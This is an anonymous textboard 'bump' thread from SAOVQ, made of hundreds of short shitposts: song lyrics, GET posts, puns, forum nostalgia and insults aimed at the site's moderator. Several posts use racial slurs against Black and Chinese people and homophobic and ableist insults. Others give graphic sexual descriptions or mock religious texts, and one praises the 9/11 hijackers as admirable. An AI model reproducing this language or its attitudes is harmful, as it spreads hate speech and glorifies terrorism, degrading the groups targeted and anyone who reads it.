mama uncool

너무너무 멋져 눈이 눈이 부셔
숨을 못 쉬겠어 떨리는걸
Gee Gee Gee Gee baby baby baby
Gee Gee Gee Gee baby baby baby
Oh 너무 부끄러워 쳐다볼 수 없어
사랑에 빠져서 수줍은걸
Gee Gee Gee Gee baby baby baby
Gee Gee Gee Gee ba-ba-ba-ba-ba-ba

be strong * be fast * be cool; but most important of all: be VIP

www google com

dot dot dot dot com com com com do do do do dot dot com com

doot com

remember when people used to participate in "Forums" that you could actually search, read and archive, instead of Discord?

>>651
hi zoomer,
there are still a ton of forums out there.
Most are devoted to a single hobby or topic, whether it be some kind of game, a craft, or an academic discipline. Cars, fishing, cigars, trading card games, different religions, eating disorders, drugs, programming languages, whatever you can think of, it probably has a reasonably sized forum somewhere. I'm active in like 8 webforums even if I don't post every single day.

However -- there are very few active forums about "just hang out and chat about whatever all the time" because what does web-bb format offer better than chatrooms or microblogging? If that's what you want, maybe GaiaOnline is for you https://www.gaiaonline.com/forum/chatterbox/f.23/

Cheers

Remember when people used to participate in "newsgroups" that you could actually read offline, instead of PhpBB?

whats grass? havnt heard of it

just found out redditus is an actual latin word

Watching Der Untergang but imagining Hitler's italian and therefore extremely funny

the international informational

why do we have all those non-/saovq/ boards with a rate of ~1 post/month, half of which are spam?

>>658

Part of the authentic textboard experience is that there has to be a random stock imageboard glued to the side, totally unmoderated and begging to be put out of its misery.

Remember when people used to participate in "bars" that you could actually go to offline, instead of iPhone?

i niggered

Nigger? I hardly know 'er.

annie gurr? i 'ardly know annie gurr

!"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`abcdefghijklmnopqrstuvwxyz{|}~

Intremunsinc.

666triplesix666
😈😈😈😈😈😈

667 GET!

1 poast late
chigger

suck my dick

no

>>666
more like... like... uhhhh.., get ready for it... triple sex xD xD

where did the ice cream flavours thread go
capey, bring it back right now, you fucking alcatote, asshat, arsehole, asshole, bayard, berk, birdbrain, bobchin, bonehead, bozo, buffoon, brickhead, Charlie, chucklehead, chowderhead, chump, clart, clown, der-brain, dill pickle, dim bulb, dingleberry, dipshit, dipstick, dirtbrain, div, divvo, divvy, dolt, donk, doodle, doofus, dope, dork, dote, dotterel, dullard, dumbass, dumbbell, dumb fuck, dummy, dunce, dunderhead, dupe, fathead, fenderhead, fiddle, fuckwit, fuzznut, geck, gig, gink, goober, gooseberry, gowk, gubbins, gump, ha'p'orth, Homer Simpson, ignoramus, imbecile, jamoke, jerk, jerkoff, jolterhead, jolthead, juggins, jughead, knucklehead, lamebrain, maroon, meathead, mong, moron, mug, muggins, mushhead, nimrod, nincompoop, nit, nitwit, not the sharpest knife in the drawer, numskull, numps, numpty, nupson, oaf, pillock, pinhead, plonker, prat, retard, shit for brains, shithead, shitwit, schmo, schmuck, snapperhead, softhead, sot, stupid, sucker, thickhead, tonto, tool, tosser, tosspot, twat, twerp, twit, wally, wantwit, wazzock, yampy

yeah what the fuck

Chiggers

yeah capey wtf u gay retard
we liek ice creem

I like ice cream. You like diarrhoea sherbert. We are not the same.

wE R nOT tHe SaMe i AMA aLien

I've got two big ol' fat nuts swinging right in my jeans

(male/female/dickgirl)

ywnbaw

capey's deletion of the ice cream thread makes him worse than Hitler and Satan combined. change my mind
meanwhile there's still all that fugging spam:
→/read.cgi/saovq/1658238028
→/read.cgi/saovq/1665245414
→/read.cgi/saovq/1675058618
→/read.cgi/saovq/1691295522
→/read.cgi/saovq/1695648282
→/read.cgi/saovq/1696230927
→/read.cgi/saovq/1710420114

mods=gods

All of those are VIP QUALITY threads though

ackchuwully (presses glasses up and raises index finger) those would be considered- ( breathes in showing full on buck teeth) a d v e r t i s e m e n t s

Guacamolist propengender.

Capey Capey, Wakey Wakey
Capey Capey stretch and gapey
capey capey sweat n ragey
DQnice DQ-ice DQNuggies sauz n fwies

>>684
Buddy, all I saw was the one about brushing a poster's dentures with another poster's cum at the hospice, and I fucking knew

The more I learn, the more surprised I am that any of this shit works at all. Truly a miracle.

(I actually intended to write "The more I learn about computers", but I guess this works too.)

The ice cream thread didn't even get sent to capey's masochism shrine, /1000/. It just got deleted. Unlike the "cp threads" currently on the homepage.

Well, to anyone found this thread by web-searching for "oestrus flask", you're welcome.

how much is capey being paid by the DQN Mafia to keep all the CP threads?

Piss with the cock that brought ya

he isnt being paid e n o u g h to keep dqnincompoops and sharty refugees @ bay

chuj kurwa

dqncompoop

P!ngas

Suckerella Dickinson

take the GET

699

A gentleman i see.

cos it's 7-0-1 on an undercover cop

Chiggers

Spam Cleanup flavour ice cream

Y'know, it says you have to post in this one the first time you visit, not that this has to be the first thread you post in when you do visit for the first time. And yet, I always do.

actually you're right. it says bump upon arrival basically and since you can only arrive once this is the thread that says bump first. i just poast wherever i take it as bump once a day

I just bump this thread everytime I am, think about, or see Suika

I just farted =3

bamp

bRrrammpft

nigbitch bitchiggers mario nose waluigi ouji

There's a reason why black helicopters appears over western skies in the afternoon...

I'm bout to chig out

Euaaahhhg....aah...im bout to....imaaa...im finna cchhhhiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiggg

>>711
and that reason is..?

because in the evenin theres a thick green smog smothering sky. they call it natural emission if u smell my drift

>>714
They appear contre-jour, my dear~

Micorosft Bump 356

Bump 3.11 for Workgroups

masticating macaroni

posting from my windows 8 virtual machine :3

Gahnooguhlmeyer.

:3

speed bump

sneed burnp :3

sweed bunp x3

Red Hat Enterprise Bump

:3 bump

Balls and cock and balls and cock

ballocks

Could there ever be another VIPtronic?

i want to singa. about the moon and the june and the springa

>>730
You want it and I want it, that's at least two of us. Yaranaika?

>>726
Debian bump

org.freedesktop.BumpManager

dpkg -remove org.vipper.secretareaofvipquality

>>730
yes

every permutation of 'bump' in alphabetical order: bump bupm bmup bmpu bpum bpmu ubmp ubpm umbp umpb upbm upmb mbup mbpu mubp mupb mpbu mpub pbum pbmu pubm pumb pmbu pmub

permubation

put a nyger seed in your glute hole

strict, tight security

venture capital is a cancer upon the Internet

viet cong is a pox upon south vietnam

BUMP
oh sorry, didn't see ya there <3

I CAN'T STOP SHITTING...!!!! I CAN'T.... I CAN'T STOP!!!!

VIPPER!!!! LISTEN TO ME!!!!! THE SCHWARMA, VIPPER!!!! DON'T EAT IT!!!!

ITS FLAVOR, ITS TASTE!!!!!! BLISS LIKE I'VE NEVER KNOWN!!!! BUT FOR THIS....?!!!! GOD VIPPER, DON'T DO IT!!!!!

dip it in the hot sauce VIPPER
dooooooo iiiiiiiiiittttttttt

The base heresy of opening a banana from the other end

the real sattire comes when you try to eat it without chewing

mario nose, dark double creased eyebags & droopy lips

I hate computers!!! FUCK

i had a rare moment today... a new restaurant+bar opened in my city, i was invited as a VIP (free meal + drinks), and halfway through dinner, i got a bunch of video cameras shoved in my face and an influencer girl had me endorse my favorite beer. so i gave a short talk about how it tastes like freedom and reminds me of good times with my friends back in america. they gave me a glass with 4 shots of whisky in it too but i felt a little awkward sipping on it after all the little kids showed up and started running around the restaurant

went out for a smoke after i ate, and suddenly middle aged hijabi women started coming up to me to pose for selfies while i was kinda tipsy (i hid my cigarette behind my back)

this is the true VIP life.

I just JACKED off to a picture of DONALD TRUMP and JOE BIDEN having BUTT SEX and FUCKING

I love you too <3

>>750
damn vro (VIPPER bro) I'm envious

can't stop checking saovq..!

I am visiting The Area in 2024. It is the first time today, and also the first time in 10 years. I am glad to see my lumberjack banner still in use (I am very drunk and being nostalgic)

I am VIPPER

what is this place

this is the secret area of VIP quality
→/about/saovqguide.html

One thing was for sure though, I wasn't appreciating the arduously amorous armature's ordurous overtures. AI robotics can stay clear of my nutsack/taint area!

. .
_ _
= =
uWu

shitting on the bible and then wiping my ass with the quran

>>760
kindling the fire with your Talmud, I see

There's no SJIS art but I think this site is worth checking out:

https://bbs.gikopoi.com

st, nd, rd, th, th, th, th, th, th

Daddy, Daddy Cool

DADDY COOL. BE, YOUR DADDY-GOOD AND GOOD,
HE IS GOOD NOW, IT IS NOT GOOD TO SEE IT RAIN,
DADDY COOL IS, IT, COOL, NO DADDY COOL,
LOVE, YOU COOL,
VIPPER.

She was looking kind of dumb with her finger and her thumb in the shape of a COCK on her forehead

Bellevue Bellends.

Hey now, you're a c*ck star. Get your hard on. Get laid. Cause all that glitters is cuuuumm

What doth my yappy little doggy brain comprehend. Barkity bark, pissing all over the place and shit.

remember when computers were big and dumb,
and you didn't have microplastics in your balls and blood?

little and smart computers in my balls and blood

microballs in my little blood and plastics smart

the only time you hadn't microplastics in your balls was when you weren't yet born.
even at your conception, your father's balls surely had some already.
at least computers are small and fast now, and careful living can land a guy with fewer testicular microplastes than the next 99% over.

>>749
FUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUCKKKKKKKKKKKKKKK FUCK FUCK FUCK FUCK FUCK FUCK YOU!! !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!! !!!!!

Spacürlde.

ok computer

lucky777lucky

Chinkus Khan

I can insure you I am no anus!

⚡️†⚡️
☁️💙☁️

wassup niggas

I'm feeling delighted every day!

that's great VIPPER. you hsould always be merryjoyful

Why is there a vape brand called Apollo Juice. Did they base it on apolojuice aka. 反省しる?

date idea: personal guided tour of the tanasinn chamber

sputum

j o y

Pics 400KB
Text 6KB
Javascript 46MB
Fonts 300K
someone who is good at programming please help me budget this. my website is dying

Posting ebay reviews in the register of Dwarf Fortress item descriptions

bump

bumo

fumo

sumo

I see summer has ended...

hax my anus

farting penis

VORUDEMOTO

summerfags GET OUT
reeeeeeeeeeeeeeeeeeeeeeeeeeeee!!!1

Come and GET it.

800 GET!!!!! HOOOOOOOOOOOOOOOOOOOOOO!!!!!!!!!!

**LIGHTNING STRIKES MY RAISED FIST AS I STAND ON THE PRECIPICE OF GREATNESS**

**AN OTHERWORLDLY GLOW EMANATES FROM MY EYES AS THE POWER OF THE GET COURSES THROUGH ME, THREATENS TO OVERTAKE ME**

**BUT I AM IN COMPLETE CONTROL. I AM THE MASTER OF MY DESTINY, THE WEILDER OF THE 800TH GET!!!!!**

holy getterino kinoino

I like to bump it (bump it)
I like to… bump it!

noot noot motherfuckers

bix n00d mufugga

ballbusting unionbusters and executing executives

806 get

the next ones for u, my king

do chuj

My computer does not lag as much when I play vidya as when I use modern webshit "apps". How do those retards achieve this?

Vidya is built on C++, optimized frameworks, and easy-mode IDEs so various indies can still crank a 60fps one out for paid Steam early-access release.

Heh heh heh mmm heheh hey Butt-Head, I'm gonna score, heh heh

SAOVQ is so outdated. This site should be a React web app with a minimalist mobile-first design, an AI-curated personalized feed, and a karma system.

>>812
I honestly believe 99% of the internet should be pure html+css, all that other junk is inherently required for functionality only in an extreme minority of cases. Everything is bloated as hell only to sell you more shit and to track you and sell your info.

>>813
Amen.

>>813
may the power of the lord repel u

>>813
that's some revolutionary ideas right there

>>813
Microservices ru(i)n the internet.
Inevitable energy rating of software will destroy this.

dicks in the ass

homosexual + heterosexual = homerosexual

>>819
So ancient Greece, women for duty, boys for pleasure?

yea

when in rome

do as the foam

weebs

Suddenly, a wind turbine

I am a drug addict and I love to do drugs

I am a rug addict and I love to buy rugs

I am a turban addict and will teach you how to wind your turban

For my next trick, the cat on this table shall speak.

happy b0rfday
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Щылгырумь

The kind of guy who uses the hyphen Unicode character instead of the hyphen-minus like everyone else.

I eat cake like a fat kid eats pussy.

You'll catch a jpeg to the head, über reach
You're an intern on Wiki Leaks

I never have anything to say, so I envy you.

>>835
most loved therefore most hated
come and knock on the door we've been waiting for you

Щѣлтэнгымжурь

Sora's former neighbor, she used to have a friendly and proper appearance when she babysat and played with him until she was rejected by him for inadvertently sexually arousing him. In high school, she pursues a gal lifestyle and bleaches her hair blonde with ganguro (dark skin) complexion.[2] She returns as Sora's physical education / health teacher, and the advisor of their biology club. Outside of class, she teases him with increasingly erotic activities short of intercourse, wanting him to admit his perversion.

>>835
It took decades on irc to get wordy like this, and I was bookish even before then. It's really half parlor trick half verbal tic half 160c txtspk. The important part to communicating is to say something so I know you're there.

Pourquoi Pig

Нугешгерын

capey is a fag (just a little bit)

I used this site religiously over 15 years ago. These days, I visit and post in this thread every few months. Today is one of those such occurrences.

I used this site religiously over 15 minutes ago. These days, I visit and post in this thread every few seconds. Today is one of those such occurrences.

>>841
Почему вы публикуете дерьмо, это чепуха?

>>845
Жто только потому, что ты не обязан делать это.

asmegmatism

>>846

Stop talking Communist on my capitalist textboard!

>>848
Fuggn commies turnn the fookin frogs gay

Путин — это дерьмо

Съешь ещё этих мягких французских булок, да выпей же чаю.

Sign him up for the knicks!!

>>851
Я люблю мягких девушек

belated deathday to Terry Davis (PBUH)

мираи вва бокюра ну тэ ну нака

>>855
私は日本語が分かりません。

Anyone remember LiveJournal?

One of the funner things online is coining a term, !ud'ing, and finding it defined exactly the same way in 2004 already. Perhaps pre-online generations also had their expression for beastfucking?

at her alter we worship
https://i.imgur.com/xENhTsx.png
we beg for her protection

Paizuri

>>860
I thought so at first too, but >>858 said BEAST fucking, not BREAST fucking

>>861

Oh, tits. I've really made a boob of myself.

BOLLACKS

Red Bull Shit

red bulls give you blue balls

Uguu~

Found a kitten in the trash yesterday. I gave him a hamburger and now I have a cat

a global homo. a globohomo

The next post will be the name of >>867-san's cat.

Fisticuffs!!

Can't believe I've polluting this site with my presence for four years now…

Get those numbers up kid... The rest of us have been here for at least 90 years already.

FOAR MOAR YEERS! FOAR MOAR YEERS!

fixslow (as opposed to a breakfast)

9o yEaRs ShUnNy bOi?! weEeel ain'Chu quite dA hWhiPPerShNapPer

a dolphin hit Lerin
(adolphin hitlerin → adolph hitler → adolf hitler)

Become the substrate, lad. It's comfy in the secret tar pit of vip quality~

the golden anus

Anaru...?

Anaruto...???

Gantoretto

I like how even after all these years, Kingston is still marking their products AO0LF as if we don't know exactly what that's about.

I am retarded beyond compare.

fard

cos its eight-eighty-five on an undercover cop

snoopes

And with my inclusive choice of words I do mean to imply that I'm not about to slap the oncoming GET with any ladyboy's Jane Thompson.

GGYYYYYAAAAAAAAAAAAAAAAAHHHHHHHHH!!!!!

**LIGHTNING STRIKES ME AND A POWERFUL EARTHQUAKE TEARS ACROSS THE LAND!! THE VOLCANO ERUPTS IN A CASCADE OF MOLTEN ROCK AND FIRE**

THIS....THIS POWER!!!!!!!!! THIS.......**POWWWEERRRRRRRR!!!!!!!!!**

I'VE DONE IT!!!!!! I.... I'VE DONE IT!!!!!!! I WILL CLAIM IT!!!!!!!! THIS ULTIMATE GET!!!!!!!!!!!

888 GET!!!!!!!! RRRRRRAAAAAAAAAAAAAAHHHHHHHHHHHHHH!!!!!!

**AN EXPLOSION DESTROYS THE ENTIRE NORTH AMERICAN CONTINENT AND I AM LEFT ALONE IN THE RUINS, WANDERING THE BARREN LANDS IN A STATE OF SIMULTATNEOUS SHOCK, HORROR AND TRANSCENDENT JOY**

on our next episode of Dragon Ball Z. . .

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Yosemite Sam-I-Am

wideyed excition

peepee but also (though not limited to) poopoo

Anybody remember that video of a bunch of guys and girls BUUUUNing from a little over 10 years ago? I think it was on youtube

I remember, and that was from way before 2014. Booning around or something? Chances are I'll have a copy somewhere.

Her thighs' softness only enhardens my penis.

archive continues to get shat on

Free-form oral advice for those trading in firearms:
* you may find yourself in surprising haste to find a small stick with which to take the gun apart before sale.
* before parting with the gun itself, be sure to de-cock the hammer so that the buyer cannot immediately try it out on you! With the hammer de-cocked, his unfamiliarity with the operations will give you precious seconds by which to make your escape.

pig poop meats

Bump.

I can't believe that Steve Jobs died of ligma.

Ligma??? He died of ligma???? That's terrible, I've never heard of ligma before. Ligma????? Ligma, you said??????? That's what he died from?? Ligma??? Never heard of it. Never heard of ligma. What is it? What is ligma, do you know????? Do you know what ligma is?????? Can you tell me??????? Can you tell me what ligma is???????? CAN YOU????? GO ON, SAY IT!!!! SAY IT, YOU FUCK!!!!!!!!!! GO ON!!!!!!!!! GO ON, FUCKING SAY IT!!!!!!!!!!! SAY IT!!!!!!!!!!!!! FUCKING SAY IT YOU PIECE OF SHIT!!!!!!!!!!!!!!!!! WHAT'S LIGMA?????? HUH???????? HUH????!!!!!!!!!! FUCKING SAAAAAAAYYYYYY IIIIIIIIITTTTTTTTTTTTT!!!!!!!!!!!!!!!

>>904
lol calm down

>>905
I AM COMPLETELY CALM!!!!!!!!!!!!!

sup Zaggots

howdy do baguettes

>>904
ligma balls lol

whatever one's opinion about 9/11, one must admit that it is very cool and manly to hijack a plane and ram it into a tower while knowing that you're going to be obliterated in the process. i wish i had that kind of resolve

What's the haps, chaps

I genuinely think this might be the worst website ever to have existed.

>>912
ringing endorsement, thank you VIPPER

@w@

retroactively cringing at my old posts

wher wer u when saovq was kill

Oh no the board is back.

preemptively basking in the irradiant glow of my future posts

( ͡⚆ ͜ʖ ͡⚆)

Hello VIPPERs, I have returned from the seas of eternal nerdhood -- and I am so horny it's crazy!

what kind of dumbass word is "impregnable" anyway

Piss Shitman's Fuck World

From now on, servers in the alternative port range should be read so that e.g. 8022 is ssh but gay

gaynuses are impregnable fortresses

One gaynus... multiple gayni?

heyni gayni

matricide, a murder of matrices

Finite Jest

also known as an ordinary jape

Have you tried to frycklefy something?
I bet you haven't.

so much blood

Artificial Virginia

dnunp

>>933
braaap

farts have escaped the containment area

Artificial Intestines

I'm so frustrated there's no convenient spanish inquisition around when I sorely need someone to put my foes in a comfy chair?!

The Thousand Character Classic begins thusly: "The heaven was black and the earth was yellow", which are also, coincidentally or not, the principal colors of shit and piss.

deport spammers to Niger

I'm feeling niggular

Call the police, someone stole my ice cube

Snoopy

Ku Klux Kawaii

ANARU

Transporn Layer Security

I'm still feeling niggular.

THEN NIGG ON, MY MAN!! NIGG ON!!!!

desu

U nigg now or nigg u later

sneeding

Here's one, "beam me up to the starship screen"

Peak Season

soon...

balls dolphin

Where have all the shitheads gone?

>>955

Your mother's house.

teh game

>>956
How uncouth.

DANGER
POISONOUS RADIOACTIVE WASTE HERE
DO NOT DIG OR DRILL

WELCOME
LUMPS OF GLOWING POISON SERVED
GET 'EM WHILE THEY'RE COLD

t

goat bran

juice grape kits

glowy poison. mmmmm

Soon, I shall return from these figurative seas.

chinese food :)

Snebby

969GET

disenfrancheesed

alas, our hero was devoured by a cyclop

mommy's little vipper. UwU

nay, it doth take at least two cyclopes to even begin devouring my meaty, blubbery vastness

mathematics is literally a pseudoscience now. they should never have went beyond natural numbers

something smells like fish

Ichtyology is literally a pseudoscience now. They should never have went beyond Innsmouth

We've only just beguuuuuuuuunnnnnnnnn

hi everyone

diabolical defecation

diabolical delectation

diabetic demonstration

dialectic desolation

It's called "adversary in the middle" now because the man don't like being called out

Bollocks

Mi a di nuttah
Mi badder than di bad bwoy Darth Vader feared ah
Lock off di Jedi wah you call Skywalker
Inna wan school dem call me trouble maker
Badder dan di Predator and di Terminator
Badder dan di gorgon and di don dada
Seh who try a ting? You ain't gwan bother
I tell you Shy FX, man, a control di fad ah
Dibby, dibby
Wah mi tell dem, rude bwoy?
Mi ball